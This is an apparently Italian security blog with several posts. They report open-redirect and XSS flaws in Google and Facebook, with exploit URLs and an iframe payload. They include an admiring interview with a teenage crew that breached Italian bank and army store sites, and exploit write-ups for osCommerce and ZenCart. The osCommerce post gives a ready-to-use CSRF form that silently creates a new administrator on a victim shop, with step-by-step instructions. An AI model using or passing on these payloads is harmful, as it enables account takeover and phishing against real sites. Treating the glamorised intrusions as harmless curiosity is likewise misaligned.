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Vulnerabilità Open Redirect e XSS per Google e FaceBook

26 gennaio 2012

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Vulnerabilità Open Redirect e XSS per Google e FaceBook

Recentemente sono state individuate alcune vulnerabilità tra le pagine dei Servizi di Google e FaceBook. Sono falle di tipo Open Redirect che permettono di effettuare un redirect senza necessità di manipolare stringhe o eseguire azioni particolari.

Open, infatti, sta ad indicare che il sito affetto da tale falla non effettua alcun controllo sull’input ed esegue il codice per cui è programmato sempre e comunque. Il vantaggio di poter sfruttare vulnerabilità come questa è quello di poter utilizzare url di domini di cui la gente non mette in dubbio la provenienza (Google appunto) per farli cliccare e redirettarli a siti di phishing o similari.

Immaginate l’utente medio che riceve un’email clone di Google che gli indica di cliccare  un  url del dominio “google.com” ed inserire i suoi dati per via di un qualche motivo plausibile. Quanti penserebbero che quell’url nasconda una minaccia?

In questo caso l’url affetto da tale vulnerabilità è appartenente al Servizio Google Accounts ed è il seguente:

https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.sitomalevolo.com

Allo stato attuale la falla è già stata risolta e provando un redirect verso capn3m0.org si ottiene un errore di “Bad Request”:

https://accounts.google.com/o/oauth2/auth?redirect_uri=www.capn3m0.org

Vulnerabilità Open Redirect e XSS per Google e FaceBook

Questa vulnerabilità è stata individuata da Ucha Gobejishvili aka longrifle0x che vanta solo nell’ultima settimana una serie di XSS in siti degni di nota: Google, Apple, Sony Ericcsson.

Sempre longrifle0x ha individuato una vulnerabilità XSS alla pagina delle Google App for Business. Per verificare la vulnerabilità è necessario andare all’url:

https://www.google.com/a/cpanel/premier/new3?hl=en

ed inserire nel campo “Domain” questo codice:

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

Vulnerabilità Open Redirect e XSS per Google e FaceBook

Qui il suo “curriculum”! Vulnerabilità Open Redirect e XSS per Google e FaceBook

Vulnerabilità Open Redirect e XSS per Google e FaceBookLa seconda vulnerabilità, individuata da ZeRtOx del gruppo Devitel, riguarda FaceBook ed è sempre di tipo Open Redirect. Il codice è il seguente:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.sitomalevolo.com

e attualmente è ancora presente come dimostra il link che rediretta a capn3m0.org:

http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.capn3m0.org

Infine segnalo una terza vulnerabilità Open Redirect sempre per i Servizi di Google: Ad Services. I banner di Adsense sono associati ad un url fatto nel seguente modo:

http://www.googleadservices.com/pagead/aclk?
sa=L
&ai=BCN0tjMAhT9ijEq2Q0QXP1tm2BKGTn-sB4e7Th0fAjbcB8IQOEAEYASCZ0NoLOABQg7et0Pn_____AWD98vyD3BCgAYfM69oDsgEPd3d3LmNhcG4zbTAub3JnugEKMzM2eDI4MF9hc8gBBNoBUWh0dHA6Ly93d3cuY2FwbjNtMC5vcmcvZmlsZXNoYXJpbmctcG9zdC1tZWdhdXBsb2FkLWNoaXVzaS1maWxlc29uaWMtdXBsb2FkZWQuaHRtbIACAbgCGMgC4afaFKgDAfUDAAAgwPUDAAAAEIgGAaAGBA
&num=1
&cid=5GhoQFqmzEdFESSc_Vjf5Gxi
&sig=AOD64_2aoaqhlTxnKAENG806XtTTXpAjFw
&client=ca-pub-XXXXXXXXXXXXXXXX
&adurl=http://www.sitomalevolo.com

I parametri che riceve in input devono essere tutti corretti ad eccezione del campo adurl che invece viene valorizzato con il link verso cui vogliamo che rediretti.

Come potete immaginare trovare un link con tutti i dati corretti è molto semplice. Basta navigare tra i siti che mostrano banner di Google AdSense e copiarsi il link.

Quest’ultima falla l’ho trovata ispirato dalle due precedenti mentre scrivevo l’articolo. Se conoscete chi ne ha parlato prima di me segnalatemelo che provvederò a mettere l’autore.

 

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Intervista: 10 domande al pr0_alpha_team (aka Alpha_Team)

10 gennaio 2012

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Intervista: 10 domande al pr0 alpha team (aka Alpha Team)Lo staff di capn3m0.org ha avuto la possibilità di intervistare il pr0_alpha_team, crew emergente che si è fatta notare nei giorni passati per aver violato numerosi siti istituzionali: dai siti dei piccoli comuni al sito delle Banca delle Marche, lo Store del sito difesa.esercito.it e molti altri.

Come immagine ho scelto la locandina del famoso film Hackers del 1995 che vede come protagonisti una crew di giovani ragazzi che un po’ per divertimento un po’ per passione portarono a termine attacchi di grande portata scombussolando una città e finendo nel mirino dell’Fbi. Il film, come si sa, è finzione, ma è stato di ispirazione per molti ragazzini che come me sognavano di diventare hacker o qualcosa del genere.

Il motto del film era:

their only crime was curiosity

(il loro unico crimine era la curiosità)

Conoscendo un po’ meglio i ragazzi del pr0_alpha_team mi è tornato alla mente e vediamo perché.

D #1: – Come nasce il pr0_alpha_team? E’ stata più una cosa tra amici tipo “vediamo fin dove riusciamo ad arrivare” o strutturata e organizzata?

L’Alpha_Team nasce come un gruppo di ragazzi (amici virtuali) , che sfida le infrastrutture che al giorno d’oggi dovrebbero essere le più sicure, cercando di far notare ai cari Italiani quanto siano vulnerabili i loro sistemi e come dati privati possano finire nelle mani di gente qualunque.

D #2 - Il nome pr0_alpha_team da dove proviene? Siete una versione “alpha” quindi ancora non ufficiale? cosa dobbiamo aspettarci?

Allora il nome Alpha_Team deriva dalla poca fantasia che avevamo quando ci siamo registrati su Zone-H, cosa dovreste aspettarvi? beh spero per noi che potremmo ancora divertirci nel cercare vulnerabilità Intervista: 10 domande al pr0 alpha team (aka Alpha Team)

D #3 -  Guardando il vostro profilo su Zone-H si ha notizia di voi a partire da Novembre. Siete una crew “emergente” o operate da tempo ma solo ora volete rendere note le vostre azioni?

In precedenza abbiamo operato come singoli , ma poi un giorno abbiamo deciso di unirci e diventare l’Alpha_Team e rendere note le nostre azioni.

D #4 – Il vostro background? Siete “ethical hacker” anche come lavoro?

Siamo tutti studenti delle superiori ma in futuro vorremo sicuramente lavorare in quel campo, non ci definiamo hacker, ma solo appassionati informatici.

D #5 – Indipendenti o parte di un progetto più grande?

Siamo un gruppetto indipendente.

D #6 – Perché siti istituzionali? Quale messaggio volete mandare?

Attacchiamo siti importanti sia per divertimento sia per far capire ai nostri cari webmaster come sia facile sfruttare le loro mancanze. Per esempio nell’attacco alla Banca delle Marche volevamo far capire ai webmaster come sia stato facile per noi reperire informazioni sensibili.

D #7 – Fino ad ora le vittime illustri sono state violate con attacchi Sql Injection. E’ la tecnica che preferite o è quella a cui, come si è visto, erano vulnerabili tutte le vittime?

Perché in quei siti abbiamo trovato quel tipo di vulnerabilità.

D #8 – Il silenzio della stampa. I giornali latitano sempre quando l’attacco non è firmato Anonymous che “fa audience”. Cosa ne pensate di questa dis-informazione?

Pensiamo che al giorno d’oggi non ci sia dis-informazione ma solo poca voglia di reperire informazioni da utenti che utilizzano internet. Tutti dovrebbero sapere che rischi corrono navigando su internet.

D #9 – Il termine hacker ancora oggi viene usato in maniera errata e non si fanno mai distinzioni tra ethical, white hat, black hat, etc.. Voi come vi definite?

Siamo solo ragazzi appassionati di informatica.

D #10 – Il sito di una Banca, il sito dello store della Difesa… le vostre azioni hanno messo ancora una volta in rilievo le carenze tecniche in merito alla sicurezza informatica. In Italia spendere soldi per prevenire appare ancora una “cattiva abitudine” (purtroppo). Le vostre vittime se informate della violazione come han reagito? Le falle poi vengono sistemate?

Reagirebbero malissimo. Come possiamo vedere nel sistema bancario delle Marche ci troviamo di fronte ad un C.M.S. a pagamento, e credo che non lo abbiano pagato poco. No, le falle ad oggi sono come prima.

Concludendo questa intervista ne emerge ancora una volta la scarsa attenzione dedicata alla sicurezza informatica, dei nostri dati e delle infrastrutture che il nostro Paese presta ai suoi servizi più importanti o critici. Questi ragazzi, come ho premesso citando il film “Hackers“, sono solo appassionati e curiosi. I mezzi e le competenze li hanno e stanno dimostrando come uniti si possono raggiungere obiettivi importanti come il sito di una Banca o dell’Esercito. Non sono legati a nessun gruppo “famoso” e pertanto del pr0_alpha_team sono in pochi a parlare ma, come loro stessi hanno affermato, vogliono rendere note le loro azioni.

Intervista: 10 domande al pr0 alpha team (aka Alpha Team)Sul tema della disinformazione fanno un’osservazione corretta dicendo che ai giorni d’oggi con internet a disposizione di chiunque è difficile pensare che la gente sia male o per niente informata. Almeno i giornalisti pagati per “informare” potrebbero provare a fare quello sforzo in più che noi non sempre abbiamo tempo o modo di fare.

Riguardo infine l’attacco al sito della Banca delle Marche (bancadellemarche.it) ci fanno sapere che nonostante i soldi spesi per un CMS risultato vulnerabile (può capitare eh, nessuno mette in dubbio che ci possano essere bug) non è stata ancora sistemata la falla. Sono queste le notizie che tra le tutte dovrebbero far riflettere. Possibile che una Banca dopo aver riscontrato delle violazioni nei propri dati non ne faccia notizia e neanche rimedia in tempi brevi?

Errare è umano, ma perseverare è diabolico..

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[EXPLOIT] – osCommerce v3.0a5 Multiple Vulnerabilities

20 maggio 2011

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[EXPLOIT]   osCommerce v3.0a5 Multiple VulnerabilitiesSeguendo la scia di notizie degli ultimi tempi che han portato alla luce gravi vulnerabilità per le ultime versioni di OsCommerce (2.3.1) e ZenCart (1.3.9h) non poteva mancare all’appello anche l’ultimissima alpha release osCommerce 3.0.a5.

Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente “stabili” sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo Xss, Full Path Disclosure, Local File Inclusion e XSRF.

La Full Path Disclosure consiste nell’interrogare alcuni file del Template di OsCommerce che, andando in errore, mostrano a video la full path della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La XSS permette di iniettare codice JavaScript sfruttando una falla del file “products.php” mentre la Local File Inclusion consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.

Anche in questo caso c’è una falla più grave delle altre e a mio avviso è la XSRF che permette di inviare comandi all’applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico sarà possibile creare un nuovo Admin sull’OsCommerce.

Basterà creare una pagina “.html” contenente il seguente codice:

<html>
<body>
<form action="http://<sito vittima>/admin/index.php?administrators&action=save" method="post">
<input type="text" name="user_name" value="<nomeutente>">
<input type="text" name="user_password" value="<password>">
<input type="text" name="modules[]" value="0?>
<input type="hidden" name="subaction" value="confirm"/>
<input type="submit" value="Save">
</form>
</body>
</html>

Ovviamente dovrete sostituire i seguenti parametri:

<sito vittima> con il dominio del sito in cui si vuole creare l’account

<nomeutente> con il nome utente del nuovo Admin

<password> con la password da associare al nuovo Admin

Una volta creata la pagina richiamatela dal vostro Browser e cliccate su “Save”.

Se tutto è andato a buon fine accedendo all’url:

http://<sito vittima>/admin/

potrete loggarvi come Admin con i dati appena inseriti.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

osCommerce v3.0a5 [ Multiple Vulnerabilities ]

 

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[EXPLOIT] – ZenCart 1.3.9h Multiple Vulnerabilities

20 maggio 2011

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[EXPLOIT]   ZenCart 1.3.9h Multiple VulnerabilitiesE’ ormai consuetudine che dopo l’individuazione di una nuova falla per OsCommerce a catena vengano individuate le stesse (o quasi) falle per ZenCart, altro noto Cms derivato dallo stesso OsCommerce.

La versione vulnerabile è l’ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload.

La vulnerabilità Full Path Disclosure permette, se la gestione degli errori è configurata per mostrarli a video, di conoscere la path assoluta dell’applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l’informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due XSS, invece, non affliggono l’attuale 1.3.9h ma tutte le versioni precedenti. Le vulnerabilità sono localizzate nel campo “Quantità” del carrello che permette l‘injection di codice XSS e nell’Area Amministrativa “Location/Taxes”. Per quest’ultima, quindi, si presume che si abbia già l’accesso Admin.

L’ultima vulnerabilità, la più grave, riguarda invece il componente Banner (banner_manager.php) che, così come per OsCommerce, permette di effettuare l’upload di files che verranno salvati nella cartella “images”.

Per informazioni dettagliate vi rimando al link del Dr. Alberto Fontanella autore dell’articolo.

Zen Cart <= v.1.3.9h [ Multiple Vulnerabilities ]

 

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[EXPLOIT] – OsCommerce 2.3.1 Remote File Upload Vulnerability

19 maggio 2011

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[EXPLOIT]   OsCommerce 2.3.1 Remote File Upload VulnerabilityCome ricordete l’ultima volta che venne nominato l’ecommerce OsCommerce su questo sito era per segnalare una grave vulnerabilità presente in tutte le versioni. La falla era presente anche in diverse versioni di ZenCart in quanto derivato da OsCommerce stesso.

A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: la 2.3.1 e la nuova 3.0.1. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.

Lo scorso 14 Maggio, però, è stata scoperta una nuova falla (purtoppo molto simile alla precedente) che permette l’upload di files nella cartella “/images” senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.

[...]

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